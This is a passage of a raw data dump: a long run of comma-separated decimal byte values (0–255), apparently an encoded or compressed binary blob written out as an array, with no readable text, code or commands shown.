194,244,252,103,175,225,235,184,20,231,227,159,34,5,47,149, 51,190,20,241,250,91,57,246,206,158,47,146,148,1,21,255, 241,254,34,10,191,214,56,30,0,171,254,45,51,154,123,177, 140,203,163,250,37,214,130,229,187,35,160,244,140,127,164,177, 30,43,177,26,39,61,159,45,193,10,172,192,133,53,189,143, 77,184,33,226,245,111,120,249,225,57,77,137,105,128,115,224, 165,255,150,15,1,74,109,64,169,124,23,64,182,218,54,160, 137,228,1,112,124,63,137,41,157,205,191,204,169,63,121,76, 98,201,198,66,49,150,97,229,231,77,8,245,7,154,240,81, 252,7,250,177,6,159,41,210,141,189,132,127,198,50,92,136, 127,198,75,53,186,11,194,151,34,94,255,70,151,139,83,179, 221,196,52,1,128,210,249,61,159,164,95,162,106,203,127,19, 205,0,176,116,95,173,173,77,183,224,10,175,47,36,164,69, 22,69,23,167,92,249,91,49,145,70,51,62,142,95,162,31, 171,240,201,98,229,226,5,124,25,75,113,49,190,38,97,12, 226,25,125,69,142,131,168,214,191,193,229,163,51,142,39,231, 230,129,66,25,201,86,144,100,53,26,198,0,200,234,159,239, 251,107,157,210,244,99,122,111,33,110,42,89,85,33,217,213, 202,228,151,97,226,141,22,220,128,223,224,48,250,176,162,216, 12,249,44,254,9,231,227,82,124,93,226,254,143,118,184,248, 70,228,235,223,208,114,119,218,158,150,179,139,58,159,246,40, 125,228,234,63,241,60,128,34,230,175,61,153,248,54,125,76, 120,172,40,164,159,11,157,212,149,201,39,162,1,200,141,41, 88,142,219,208,143,149,232,41,30,245,245,52,254,95,156,135, 203,241,45,159,3,70,42,31,189,197,243,10,162,91,255,70, 150,119,188,208,118,126,33,75,32,128,140,199,237,87,99,133, 6,49,0,133,181,144,42,255,137,47,137,79,144,182,50,228, 73,178,8,84,42,119,34,225,1,28,207,209,134,155,112,59, 14,227,191,112,99,145,110,236,9,252,61,22,226,109,248,142, 116,32,88,181,35,139,111,70,190,254,141,44,111,125,186,107, 153,244,89,198,152,48,104,16,3,32,239,253,5,166,255,207, 211,95,144,18,71,161,184,168,66,90,230,242,229,75,34,225, 232,27,255,209,142,79,224,14,244,227,87,184,174,136,143,126, 12,127,135,5,120,7,254,213,7,10,84,222,254,191,51,242, 245,111,92,121,203,115,211,47,33,207,158,135,92,8,0,237, 127,136,42,24,112,38,140,250,123,146,127,157,159,166,47,122, 129,148,144,56,214,101,199,161,18,249,50,76,166,209,137,79, 227,78,244,227,86,124,44,79,55,70,216,134,191,197,89,120, 55,126,32,157,18,92,201,248,94,12,235,223,168,242,228,115, 51,151,145,39,60,200,39,1,229,93,159,164,24,98,146,27, 0,54,247,223,249,17,250,54,121,82,40,37,119,170,100,91, 171,147,95,136,201,55,186,240,251,184,11,135,240,11,124,36, 79,55,70,216,138,47,224,76,188,23,63,50,30,69,30,52, 238,195,11,49,172,127,99,202,157,151,103,93,32,60,249,128, 124,74,48,27,143,235,63,17,12,128,222,245,159,68,178,243, 29,248,137,112,74,105,1,104,253,85,133,207,43,151,47,195, 100,29,211,240,135,184,7,7,241,115,124,48,79,55,230,226, 65,252,53,78,199,23,43,220,255,227,88,255,70,148,59,187, 231,44,116,28,42,26,138,162,105,200,104,25,128,6,73,2, 234,125,127,9,36,58,46,20,183,82,139,156,12,21,82,204, 36,180,100,105,249,242,201,107,0,114,99,6,254,4,247,225, 0,126,134,247,231,233,198,92,252,160,130,235,60,134,173,177, 172,127,227,201,157,3,167,205,22,205,114,155,80,110,184,25, 105,201,35,247,1,156,9,164,254,201,182,51,197,111,220,46, 33,217,72,189,62,82,173,188,19,243,208,8,99,22,254,12, 27,176,31,63,198,251,208,129,191,169,224,10,63,138,101,253, 27,79,142,99,179,155,209,1,6,36,140,66,25,16,113,153, 129,100,221,190,159,66,106,253,73,32,209,50,35,241,27,156, 38,224,45,163,8,229,39,111,170,165,82,249,34,52,210,152, 131,63,199,159,87,244,151,251,113,167,103,87,139,110,253,27, 77,46,134,102,141,36,230,11,232,238,191,100,0,116,40,208, 36,246,0,228,202,127,174,239,175,173,229,22,177,184,240,49, 49,127,80,178,181,213,201,27,203,0,84,62,126,238,57,139, 48,202,245,111,48,121,122,250,161,228,124,21,37,80,210,115, 145,137,247,41,58,117,170,254,10,232,167,173,169,249,251,226, 157,5,229,151,173,169,26,107,201,117,212,242,229,214,0,132, 25,99,248,69,76,235,223,80,114,234,218,213,114,142,55,33, 40,164,36,97,62,7,64,141,100,0,88,186,207,230,127,204, 225,77,229,132,138,108,77,163,194,99,159,103,181,59,196,88, 133,35,22,207,95,181,188,253,185,246,165,178,103,95,144,20, 205,65,214,19,249,199,96,8,146,117,170,254,146,251,63,237, 51,248,60,36,27,170,90,83,161,88,93,174,3,59,172,252, 44,171,221,33,198,127,84,188,190,86,94,144,79,121,178,235, 50,41,25,88,60,42,204,147,50,204,54,82,8,192,86,254, 187,222,135,111,122,247,124,72,169,21,46,61,90,29,30,251, 108,171,221,129,227,21,108,133,197,243,87,39,111,218,49,227, 50,111,206,95,238,20,144,66,0,115,16,64,147,203,0,200, 165,63,7,9,36,166,45,77,254,76,36,160,197,70,197,28, 42,132,210,94,89,29,30,187,21,115,172,126,7,142,91,45, 158,191,74,121,211,243,179,47,38,205,84,200,158,109,62,4, 160,56,159,164,83,87,202,239,53,1,185,198,159,185,226,86, 234,132,164,230,222,95,43,152,65,217,52,84,131,199,62,211, 106,119,224,72,227,215,21,175,175,149,11,0,98,231,236,197, 36,25,139,82,62,139,100,111,192,212,8,68,147,205,0,48, 140,127,173,109,45,255,142,179,132,230,252,171,46,131,35,201, 100,43,90,46,30,123,190,213,239,192,177,30,71,96,241,252, 149,203,197,238,57,243,69,18,146,127,224,133,10,9,239,79, 217,104,21,190,94,13,128,202,249,147,163,252,250,22,174,52, 167,82,188,14,150,234,31,200,139,91,14,30,251,52,171,223, 129,227,183,22,207,95,141,188,127,246,116,167,141,20,35,33, 163,0,61,221,0,217,168,163,254,122,52,0,130,137,254,147, 51,62,39,110,86,99,127,175,157,240,86,12,161,248,0,66, 50,17,229,224,181,173,1,8,26,167,240,59,159,245,179,120, 127,127,57,78,206,166,28,221,167,23,27,232,221,218,20,62, 128,12,212,222,160,73,234,1,40,125,255,211,223,39,190,44, 59,252,66,219,225,101,169,195,248,2,234,223,7,227,181,231, 89,13,15,24,119,98,204,103,253,44,222,223,87,62,58,243, 120,114,174,148,228,99,67,123,15,31,128,94,6,140,148,23, 208,169,11,229,87,147,127,201,206,115,19,63,17,142,23,47, 173,182,0,9,201,114,136,162,51,37,32,91,87,33,153,138, 96,188,246,92,171,225,1,227,118,139,231,175,84,158,157,190, 167,101,1,151,240,147,115,86,94,121,222,0,80,92,97,128, 83,23,234,175,236,255,83,187,166,220,34,166,10,37,247,239, 77,141,176,206,85,126,217,8,142,20,28,168,158,131,63,94, 123,134,213,112,223,113,20,91,44,158,191,66,121,215,139,173, 231,107,120,127,5,35,160,201,221,120,203,128,201,186,81,127, 79,243,79,203,119,105,73,105,25,28,201,186,122,129,20,130, 61,82,153,60,11,232,74,149,89,146,26,51,133,39,100,16, 0,166,227,42,156,141,243,173,142,251,142,187,145,81,14,179, 214,241,238,86,206,201,219,159,106,191,84,86,115,64,110,13, 82,205,0,0,184,89,45,54,152,100,57,0,45,250,159,243, 57,92,167,59,250,165,239,238,104,142,190,252,95,199,243,23, 142,150,63,16,202,35,43,216,223,233,248,20,22,161,185,200, 168,111,7,63,86,91,60,127,69,242,230,103,187,46,101,241, 254,30,229,231,228,52,169,209,128,66,49,1,9,36,102,190, 93,124,9,172,85,85,35,124,53,211,47,52,85,87,255,94, 205,28,120,229,87,229,153,128,91,173,142,251,140,19,184,31, 0,239,198,170,8,56,43,47,201,19,207,206,186,72,253,92, 72,190,168,254,119,121,115,224,26,247,253,9,79,10,202,68, 255,211,231,37,127,154,103,169,82,162,117,217,94,144,178,243, 171,246,68,205,20,8,229,65,233,120,237,2,4,232,231,216, 138,227,86,211,13,99,3,50,176,120,254,114,229,137,23,230, 92,104,196,251,43,89,0,77,62,169,209,128,74,235,79,91, 115,203,255,193,92,82,50,161,66,203,150,170,221,86,114,89, 133,138,63,149,162,48,185,236,194,199,106,185,209,143,13,216, 128,51,176,12,23,160,211,106,188,50,238,3,88,118,27,175, 135,101,229,178,220,121,109,246,121,112,10,142,190,240,36,12, 189,209,190,73,238,170,85,0,154,44,6,64,232,173,63,83, 63,79,239,33,201,10,10,69,201,245,124,190,23,61,165,52, 81,230,93,28,23,28,123,128,122,173,55,36,34,144,189,216, 139,123,177,16,203,176,4,109,86,239,243,35,139,245,146,145, 149,107,51,186,17,182,114,129,196,190,217,179,69,179,140,10, 44,41,191,208,24,191,53,185,27,239,51,77,142,155,250,151, 204,64,222,253,159,243,14,252,143,220,7,46,211,25,77,18, 174,138,255,153,227,11,240,254,236,120,30,146,80,106,9,91, 112,166,118,30,208,110,236,198,221,56,23,23,225,252,226,201, 58,141,60,30,199,49,139,231,47,79,126,120,214,20,167,211, 23,239,31,192,7,80,68,3,82,60,89,128,228,184,169,191, 2,251,237,156,153,252,33,57,178,18,147,146,94,81,93,36, 189,40,8,233,33,184,140,92,190,126,73,118,2,191,193,123, 112,142,150,20,113,177,19,59,145,192,249,184,8,139,234,152, 67,181,54,1,0,49,207,71,72,222,154,149,123,140,192,208, 204,84,142,238,19,30,135,159,164,26,1,193,95,238,186,241, 36,255,198,223,3,16,74,239,223,55,49,159,43,234,241,188, 63,114,138,80,182,201,222,28,128,94,112,209,31,93,225,113, 157,196,90,76,193,98,44,198,233,26,230,48,139,23,241,34, 154,177,20,203,176,208,155,165,108,168,177,89,121,201,77,120, 119,43,7,4,144,154,126,176,229,92,82,240,254,84,84,116, 239,207,62,242,108,156,25,128,241,49,0,178,251,159,64,2, 137,121,159,192,117,250,46,14,67,138,132,148,128,64,70,254, 169,144,74,104,137,66,98,174,159,187,234,8,158,198,51,104, 199,98,44,97,154,130,83,120,6,207,160,21,23,224,34,156, 165,25,137,201,62,142,227,73,45,105,42,39,87,73,107,205, 106,96,57,77,221,53,229,2,217,79,21,74,132,175,250,177, 156,220,227,1,76,162,42,128,215,253,119,144,152,185,192,249, 170,73,49,189,177,187,126,194,138,10,166,16,70,107,67,12, 96,88,173,221,22,36,131,120,2,79,96,26,150,96,9,211, 26,60,130,39,240,4,58,176,12,203,26,138,61,96,139,178, 122,196,182,99,89,121,110,180,63,219,118,177,174,210,66,219, 134,130,228,110,204,88,128,228,184,40,191,228,254,183,53,77, 249,30,218,133,18,245,147,146,16,17,90,86,64,110,237,21, 18,10,91,40,9,21,161,192,53,56,31,67,157,255,36,182, 97,27,102,97,9,206,199,52,237,107,12,98,27,182,97,26, 46,194,133,13,2,32,218,172,69,186,114,48,165,238,143,141, 44,111,123,178,235,50,72,21,44,19,222,63,80,110,170,2, 208,196,52,0,186,251,159,156,254,39,226,157,122,162,78,87, 106,213,198,82,0,224,215,27,171,145,86,45,128,148,7,144, 73,28,28,143,252,40,30,194,67,152,135,197,56,31,29,218, 215,57,129,45,216,130,89,184,8,23,98,102,3,120,0,222, 10,138,9,15,111,229,205,207,76,191,76,223,223,133,146,222, 11,39,119,93,165,10,16,49,38,64,212,220,0,72,164,95, 104,154,179,168,101,35,77,129,98,255,228,188,135,208,218,38, 188,81,24,41,213,125,206,91,34,169,40,200,215,95,133,33, 219,82,250,233,12,44,193,34,99,179,240,233,88,134,11,48, 117,146,170,255,81,44,4,24,30,102,48,185,240,198,150,39, 159,155,189,12,154,135,202,245,160,132,145,31,252,179,147,253, 24,197,8,70,48,138,81,140,97,12,105,164,145,65,22,46, 34,64,10,38,107,172,254,94,35,144,115,255,191,77,83,212, 243,82,8,250,25,42,106,205,223,145,208,214,170,161,240,156, 175,174,76,47,36,163,65,26,185,184,208,154,50,75,115,238, 197,94,108,196,2,44,198,185,76,95,192,126,236,199,58,156, 133,139,176,116,18,66,138,30,81,214,66,101,93,36,37,39, 222,168,114,231,149,217,75,192,238,238,4,189,227,63,88,46, 92,196,122,50,80,237,67,0,9,250,51,227,211,244,78,221, 254,233,46,187,220,223,231,72,129,130,204,199,34,27,13,157, 66,148,32,164,164,34,105,102,135,197,100,121,174,191,27,187, 225,224,92,44,193,2,52,105,95,112,15,246,224,30,156,131, 101,88,162,53,22,77,228,177,205,99,46,85,122,21,53,10, 110,92,185,243,218,236,51,144,132,150,204,83,187,86,194,203, 179,174,244,154,83,244,10,57,30,202,159,63,242,99,250,188, 174,45,52,149,119,254,85,122,101,193,134,63,234,225,75,66, 169,149,112,142,189,183,193,216,213,102,33,99,32,33,180,131, 30,154,113,30,150,224,44,67,95,64,2,139,112,33,22,51, 70,98,34,142,171,177,93,89,83,225,227,18,55,168,252,208, 156,150,196,52,85,141,101,127,82,87,115,127,249,190,63,24, 58,145,15,0,70,48,138,49,164,144,66,102,34,134,0,204, 137,191,157,95,44,132,204,58,44,194,81,114,255,124,175,181, 147,79,146,122,139,40,142,146,97,149,29,123,239,149,189,100, 35,234,254,239,176,103,189,200,247,151,198,139,120,1,173,88, 132,37,56,131,105,30,122,9,47,161,9,139,113,17,206,157, 224,205,67,41,236,80,94,121,81,172,173,240,176,170,198,147, 227,196,28,74,76,243,110,35,60,207,79,121,242,236,36,194, 2,8,249,208,207,51,223,158,99,253,37,77,173,193,20,244, 248,218,0,105,142,188,252,59,58,50,16,30,67,224,230,31, 161,19,48,63,148,144,67,150,143,226,89,236,64,7,206,199, 18,134,82,52,141,231,240,28,90,112,1,150,97,65,157,158, 198,30,60,158,67,202,120,190,61,152,19,155,27,80,62,50, 227,68,98,129,158,195,130,212,190,86,129,156,226,226,2,170, 173,1,208,168,63,90,91,18,95,55,225,248,244,163,148,212, 148,28,24,57,135,247,23,90,6,64,237,4,80,97,24,114, 200,160,187,107,252,81,79,2,67,120,18,79,161,19,75,177, 24,179,181,175,63,134,167,240,20,218,176,12,203,24,95,161, 254,199,147,138,49,37,246,57,52,176,60,59,117,79,203,98, 239,110,174,190,33,234,110,31,86,238,198,124,56,104,45,67, 0,9,251,63,251,143,197,18,57,186,22,6,82,101,181,79, 175,22,124,1,220,157,232,8,68,253,254,6,240,24,30,197, 12,44,197,249,76,15,225,48,30,195,99,232,194,50,92,52, 193,206,31,120,66,89,95,139,247,151,229,29,47,182,47,171, 12,239,31,36,207,146,150,130,152,128,73,192,124,133,164,152, 254,107,154,51,175,253,97,106,151,17,126,196,54,72,66,138, 139,212,180,29,0,54,109,199,255,236,141,174,74,59,186,203, 124,170,194,52,137,253,73,191,63,239,156,115,177,4,231,163, 203,176,36,51,176,12,203,24,95,161,62,199,219,240,162,1, 239,14,166,131,179,209,228,237,79,79,189,4,76,189,137,227, 14,42,87,190,235,230,108,41,5,88,234,3,200,78,180,36, 160,144,11,128,109,95,16,197,82,185,83,220,111,29,101,223, 86,99,254,130,245,117,181,172,41,207,23,0,38,138,87,65, 155,80,248,2,100,27,15,54,195,0,237,254,28,169,21,36, 119,127,135,208,143,7,48,31,75,112,62,67,42,114,12,15, 226,65,204,197,69,184,144,105,52,174,183,20,224,78,88,188, 191,73,222,250,212,212,75,43,199,251,251,203,145,201,82,124, 37,192,90,25,0,141,251,239,244,115,157,63,144,247,84,40, 40,127,121,49,244,102,224,194,190,45,152,12,0,49,251,178, 138,27,224,249,2,244,136,15,198,164,34,88,102,194,18,12, 185,240,155,251,176,15,155,112,22,150,224,60,166,47,224,16, 14,77,0,2,178,87,144,177,120,127,131,60,177,99,198,165, 213,224,253,3,228,105,197,253,159,160,112,224,82,8,144,235, 255,251,123,55,33,43,146,26,227,203,103,172,131,205,193,235, 109,59,122,87,95,121,124,1,252,163,23,140,121,0,131,69, 228,179,6,185,159,223,192,27,88,143,115,176,24,231,50,125, 1,37,2,178,165,117,201,74,252,156,197,251,27,228,206,139, 115,150,85,137,247,247,151,167,129,137,94,5,208,206,253,61, 227,50,250,56,119,140,114,193,26,58,202,82,8,214,69,242, 62,24,82,232,191,120,88,113,37,124,1,114,76,230,199,71, 32,124,248,6,114,191,237,98,23,118,33,137,243,176,24,11, 152,133,47,17,144,45,70,115,157,25,0,139,247,231,228,226, 213,57,231,192,169,14,239,239,47,71,58,238,103,91,187,16, 160,136,254,159,242,79,28,54,95,69,252,171,173,57,60,208, 87,231,11,224,213,152,140,25,79,127,190,0,24,206,36,228, 234,16,66,99,49,228,130,147,76,177,61,104,9,206,52,16, 144,37,113,62,150,213,17,1,217,75,218,90,0,150,15,0, 251,230,204,113,90,170,197,251,7,200,51,241,30,12,22,191, 1,208,142,254,90,248,110,188,131,87,52,29,239,239,39,39, 248,49,8,240,124,1,38,51,18,134,47,0,236,108,208,90, 135,248,235,171,208,230,92,123,80,43,22,99,9,67,64,150, 193,11,120,33,79,64,118,78,29,52,15,189,194,239,127,141, 205,7,112,100,78,139,211,25,1,222,223,87,238,166,25,247, 159,162,76,10,214,42,4,40,238,255,201,191,225,249,125,133, 146,241,39,45,191,14,240,61,129,165,182,93,72,191,77,236, 241,161,213,243,5,8,86,14,173,153,184,116,109,199,99,134, 92,207,21,71,240,52,158,70,103,157,19,144,165,176,71,49, 195,150,15,64,12,206,28,77,156,17,5,222,63,64,158,81, 148,126,130,121,0,218,254,127,246,165,120,55,223,83,199,245, 233,169,93,121,144,148,73,245,34,28,133,27,192,203,23,160, 214,87,1,115,79,159,218,243,197,155,15,72,165,66,174,178, 171,246,43,56,249,147,139,213,111,52,128,237,120,28,211,177, 4,75,24,82,145,241,39,32,123,21,110,81,45,76,173,90, 13,38,79,77,59,212,116,174,208,186,250,161,236,236,213,203, 157,9,159,3,80,246,255,150,207,107,120,103,166,132,199,215, 6,160,237,215,60,95,128,76,31,226,207,23,0,205,56,8, 197,17,211,235,4,102,190,0,190,33,89,24,27,150,189,247, 116,2,219,176,13,179,177,4,139,25,82,145,241,36,32,219, 5,139,247,151,228,238,212,93,83,46,136,10,239,239,47,119, 179,241,56,254,181,13,1,138,21,128,51,22,227,195,36,37, 248,160,148,254,56,21,81,119,110,176,36,30,102,190,0,161, 21,248,184,29,218,107,130,212,164,162,154,59,0,252,248,2, 160,132,14,186,127,224,104,1,78,225,47,15,163,31,91,48, 15,75,124,8,200,102,99,25,150,49,141,198,113,141,221,202, 247,107,116,62,128,206,103,219,222,18,29,222,63,64,158,134, 185,173,181,238,13,128,80,250,255,156,182,191,212,155,108,212, 206,42,98,187,243,117,152,175,106,72,84,207,65,247,43,4, 184,131,65,5,120,118,65,189,241,88,24,214,157,239,84,40, 129,69,189,135,72,249,223,95,225,219,28,192,129,124,243,16, 71,64,118,24,155,177,25,167,99,25,46,52,54,26,71,57, 246,0,190,103,42,138,134,146,183,111,239,186,156,52,61,244, 38,242,84,234,186,170,228,153,184,159,110,178,6,251,127,62, 0,152,125,154,115,35,49,120,106,117,127,119,180,208,32,58, 190,0,72,134,68,48,153,1,110,175,230,114,1,142,214,187, 104,186,63,57,195,64,82,174,66,254,126,178,23,177,7,111, 98,35,206,198,18,156,199,244,5,212,142,128,108,143,197,251, 23,37,77,59,166,94,30,45,222,63,64,158,137,47,253,23, 183,1,208,18,128,211,111,166,164,74,215,69,74,244,165,22, 253,162,230,11,208,233,194,252,248,2,76,142,122,121,124,1, 252,252,250,253,59,12,157,153,139,221,216,141,4,206,193,82, 44,100,30,86,45,8,200,222,176,120,255,252,79,201,231,102, 93,28,57,222,223,95,158,142,214,225,175,117,8,80,242,1, 18,173,77,206,103,120,69,81,73,189,192,68,240,149,241,5, 4,165,231,204,113,190,126,135,168,146,47,128,79,15,6,221, 95,110,100,139,237,65,139,113,182,198,45,68,120,21,175,226, 46,44,194,50,156,31,3,1,217,30,88,188,191,0,32,94, 158,189,36,122,188,191,191,156,50,113,198,255,181,40,3,22, 67,128,249,191,39,206,208,1,53,92,98,141,180,60,57,42, 228,11,144,11,123,0,207,23,0,22,234,41,164,59,116,165, 136,62,136,47,64,206,71,232,168,67,29,173,72,90,244,169, 63,233,92,123,208,20,44,194,210,26,18,144,157,194,16,44, 222,159,224,188,62,247,76,36,163,199,251,251,203,61,57,128, 9,134,5,144,146,127,112,224,52,253,62,177,249,123,176,231, 251,232,110,189,238,70,123,83,107,48,240,5,8,152,188,14, 94,46,20,168,112,33,139,32,124,106,253,38,95,128,187,191, 32,15,198,127,125,8,2,35,120,22,207,162,13,75,124,8, 200,166,96,105,100,4,100,7,217,190,120,146,82,155,13,32, 63,56,103,154,104,243,86,227,132,210,117,66,74,181,46,34, 121,38,222,12,64,109,170,0,14,156,51,206,194,53,130,217, 227,202,193,227,235,251,58,39,15,230,11,16,204,252,250,30, 29,204,23,64,76,62,129,51,51,38,190,0,61,203,193,213, 62,244,124,1,64,24,198,147,120,18,93,6,2,178,81,60, 133,167,208,142,11,35,32,32,59,212,240,120,127,1,113,98, 14,57,211,128,232,241,254,65,242,108,86,137,246,38,96,18, 208,129,3,167,227,58,8,29,111,239,106,148,222,96,18,126, 58,37,56,7,185,241,254,174,96,144,1,28,95,0,2,248, 2,200,168,210,50,50,160,26,190,0,46,3,160,95,159,243, 33,4,78,226,81,108,195,76,44,197,98,76,215,30,192,80, 36,4,100,7,149,80,171,241,248,0,156,225,233,199,147,11, 41,30,188,127,128,92,168,85,128,200,107,2,201,216,246,126, 137,5,56,113,35,119,8,167,140,215,55,239,233,196,36,231, 76,81,53,192,161,183,252,146,59,128,137,47,0,62,37,70, 225,177,113,186,121,48,243,5,168,161,140,126,127,65,235,163, 206,127,12,91,241,16,230,98,41,75,64,118,10,15,227,97, 204,196,50,44,195,172,138,60,0,61,101,213,80,124,0,153, 105,111,182,44,142,13,239,31,32,167,108,156,9,192,184,61, 128,130,250,39,22,44,194,82,185,188,194,197,194,92,14,64, 142,165,85,246,64,111,161,15,129,120,124,50,148,239,212,220, 189,63,49,40,49,124,69,64,117,124,1,96,238,207,204,110, 44,148,76,67,238,154,253,232,199,253,56,195,64,64,118,20, 15,224,129,138,8,200,142,1,13,139,247,7,8,93,47,78, 185,40,62,188,127,32,31,192,132,109,4,146,104,192,218,174, 21,76,190,157,203,134,131,173,154,123,205,128,170,80,122,87, 189,153,47,128,140,181,123,93,229,116,31,65,55,13,100,100, 10,16,172,243,111,226,11,0,204,96,99,253,254,248,174,130, 220,127,75,4,100,139,152,211,11,75,4,100,23,50,141,198, 252,56,142,70,197,251,19,4,218,159,238,184,36,86,188,127, 48,31,64,172,25,128,120,12,128,144,227,127,56,226,70,174, 225,213,132,215,231,178,245,102,190,0,97,144,243,124,1,208, 42,14,97,248,2,244,251,227,130,9,151,85,97,84,196,23, 80,254,250,120,77,200,235,120,3,27,176,48,18,2,178,163, 64,99,226,253,33,208,242,228,212,203,226,197,251,7,202,179, 152,160,148,96,30,20,192,194,11,156,115,213,186,62,192,119, 224,123,187,254,205,124,1,170,195,207,49,248,122,85,220,97, 202,140,229,240,5,240,117,139,168,249,2,132,167,66,224,191, 62,65,124,10,2,185,230,161,28,1,217,18,44,96,250,2, 194,18,144,157,64,35,226,253,1,32,241,244,204,203,98,199, 251,35,36,31,0,63,168,94,13,128,28,0,188,223,175,134, 78,140,83,31,196,23,224,165,244,244,227,11,144,247,72,19, 95,0,16,230,254,120,250,175,106,249,2,252,238,95,149,59, 161,215,167,244,247,25,188,132,23,49,5,231,97,105,133,4, 100,39,27,17,239,15,32,241,252,220,139,227,199,251,7,202, 179,90,147,64,196,225,64,50,22,229,151,122,0,157,171,133, 86,252,144,129,15,130,113,202,43,225,11,224,26,106,85,80, 145,218,133,37,12,39,13,233,46,63,199,23,128,64,190,128, 48,247,199,55,12,87,190,62,106,250,116,12,207,227,57,180, 85,68,64,150,110,60,188,63,8,206,171,115,206,35,39,126, 188,127,144,60,155,141,55,0,64,12,135,214,122,207,255,77, 32,121,218,244,246,175,8,33,55,225,58,69,21,113,180,228, 153,55,53,163,214,207,213,223,21,134,136,88,20,101,66,73, 238,20,96,55,65,13,32,66,185,126,216,249,189,127,167,58, 151,66,251,45,174,246,31,221,250,192,179,171,229,232,72,15, 224,121,60,139,33,180,50,41,192,44,14,225,89,60,142,227, 104,193,84,207,149,79,96,42,250,49,162,52,73,11,230,250, 147,71,158,216,59,119,166,104,83,145,34,38,118,136,56,229, 238,227,199,95,69,198,243,79,225,68,32,23,20,205,41,1, 241,230,0,28,136,233,239,116,28,82,212,76,119,138,101,21, 168,158,47,0,17,241,5,16,51,191,244,128,24,24,18,87, 71,224,201,78,116,86,3,19,48,89,24,252,147,224,245,81, 141,220,32,30,199,118,76,199,98,31,2,178,78,92,88,36, 32,203,96,17,206,196,111,138,213,128,6,224,3,56,50,107, 138,232,4,83,127,137,1,239,31,32,215,192,64,52,17,60, 0,39,87,253,207,121,0,243,254,84,92,44,43,129,227,217, 189,28,99,235,142,195,112,179,20,98,97,161,236,168,96,142, 3,209,119,121,82,246,222,210,44,250,254,43,216,4,33,183, 215,251,205,47,36,111,130,164,226,147,48,222,159,227,185,162, 163,197,85,193,243,115,235,163,26,179,81,236,197,83,216,133, 49,116,48,48,226,20,246,226,73,236,192,16,218,241,24,8, 73,116,224,229,6,225,3,192,192,236,161,166,211,184,66,48, 124,136,227,227,146,103,31,57,241,6,210,200,32,131,180,180, 255,215,173,7,32,212,28,64,226,106,50,118,203,235,251,63, 199,23,96,94,52,142,47,128,107,248,209,201,61,56,190,0, 61,218,6,162,225,11,16,161,249,2,132,34,87,27,141,195, 241,41,248,245,20,120,61,134,126,28,246,33,32,59,142,45, 216,146,255,249,108,246,239,39,33,31,192,216,140,67,205,231, 213,16,239,31,32,167,172,230,84,70,164,248,113,247,1,228, 3,128,115,22,224,116,192,31,15,47,124,206,228,81,187,226, 73,115,210,203,225,11,16,76,47,34,52,199,90,48,109,69, 124,158,29,8,230,11,208,187,189,128,234,249,2,212,217,73, 201,5,240,124,10,124,177,244,0,14,96,51,206,52,16,144, 121,189,207,73,207,7,224,78,221,213,114,97,45,241,254,129, 242,44,98,30,241,97,1,4,4,156,214,183,4,227,225,229, 54,90,104,177,189,96,189,2,50,240,5,16,83,228,9,131, 199,215,177,138,2,225,249,2,136,117,42,57,149,172,158,47, 0,33,248,20,130,214,71,199,187,191,233,75,64,182,71,73, 85,78,78,62,128,142,29,109,151,212,22,239,31,40,143,189, 10,144,140,77,249,5,4,68,243,165,96,89,120,136,41,134, 113,231,165,235,251,61,135,215,142,134,47,192,212,119,31,134, 47,192,191,214,15,246,51,127,190,128,114,214,71,231,83,8, 90,31,146,230,47,172,87,22,187,241,26,154,176,16,75,112, 142,231,213,24,197,131,152,252,124,0,83,182,119,94,94,115, 188,127,144,124,194,193,129,133,148,10,116,112,185,25,143,175, 246,181,85,198,23,96,102,21,4,163,180,113,242,5,200,175, 151,31,95,128,206,103,224,176,243,115,124,1,81,172,143,222, 48,228,253,14,25,188,130,157,104,198,121,88,140,249,16,120, 3,91,60,253,128,147,149,15,160,233,233,233,151,215,30,239, 31,36,119,221,137,21,2,8,217,3,152,213,230,44,115,193, 225,225,121,60,190,186,175,185,30,185,107,228,11,128,198,23, 192,67,130,228,91,12,198,227,3,225,249,2,132,150,151,32, 109,126,142,142,84,53,86,196,242,1,112,128,227,40,249,20, 184,130,231,24,94,192,243,13,129,247,23,0,18,59,102,93, 50,30,120,255,64,121,198,243,232,40,14,111,32,214,36,224, 236,11,40,193,57,209,92,62,95,48,251,113,244,124,1,164, 213,131,77,120,124,93,49,245,61,85,221,211,77,124,1,252, 201,131,102,190,0,104,69,81,98,65,79,209,175,79,3,226, 253,1,136,151,230,92,48,62,120,255,64,62,0,87,81,246, 200,131,128,120,142,158,205,155,128,150,183,232,213,65,50,244, 209,9,229,168,78,117,143,212,123,250,132,210,124,0,173,96, 167,30,207,165,30,55,174,171,143,183,60,39,251,13,124,207, 159,249,250,194,80,207,240,38,162,132,114,255,254,235,3,168, 124,1,254,235,35,171,122,184,245,129,214,76,76,158,245,161, 73,41,23,175,205,61,43,183,17,122,115,35,208,0,105,227, 33,119,39,92,21,64,120,217,128,18,139,213,54,20,40,206, 167,31,63,111,16,95,128,222,95,232,199,23,0,35,95,0, 202,220,163,9,48,242,21,112,25,126,157,41,128,235,13,8, 94,159,32,190,128,234,248,20,248,59,154,236,120,127,1,236, 159,51,61,215,246,59,46,120,255,32,185,27,119,21,192,137, 107,247,135,128,131,197,38,87,159,235,149,135,161,67,14,74, 182,28,204,174,204,53,212,240,68,157,130,113,146,121,149,54, 247,2,154,91,147,100,101,21,134,25,201,72,78,198,175,15, 5,174,15,42,94,31,48,249,7,175,137,146,177,235,164,4, 76,19,93,46,78,204,18,137,233,114,142,68,199,235,143,159, 156,241,0,34,14,7,146,49,236,254,249,159,90,133,88,76, 70,192,138,105,55,54,225,241,161,117,253,19,203,205,99,230, 11,224,207,22,168,5,95,128,218,137,46,148,61,93,4,172, 143,131,104,249,20,188,158,150,195,28,145,38,88,163,3,76, 54,62,0,103,104,198,241,166,133,227,138,247,15,146,199,94, 6,140,207,3,112,230,158,46,218,245,250,186,96,236,69,24, 185,142,129,227,94,127,53,174,53,97,4,244,29,50,215,67, 79,21,223,159,222,175,175,223,159,8,248,123,170,106,125,28, 205,87,10,243,247,164,173,143,96,182,28,181,150,161,38,64, 39,164,60,51,109,111,203,66,126,91,53,157,241,92,107,57, 98,103,4,138,49,9,216,121,142,215,30,168,16,219,82,231, 147,80,98,53,46,110,211,19,111,66,122,141,29,165,10,201, 27,2,161,213,131,213,207,212,123,33,6,224,43,180,224,196, 171,124,188,156,55,100,164,205,169,222,95,208,250,16,187,62, 80,186,43,252,214,199,60,191,252,153,236,79,120,43,83,19, 84,78,93,47,76,89,172,215,66,248,132,220,120,201,93,87, 177,10,145,155,2,39,150,221,31,16,16,205,231,153,240,248, 66,82,21,53,75,94,194,179,233,177,124,206,106,58,74,145, 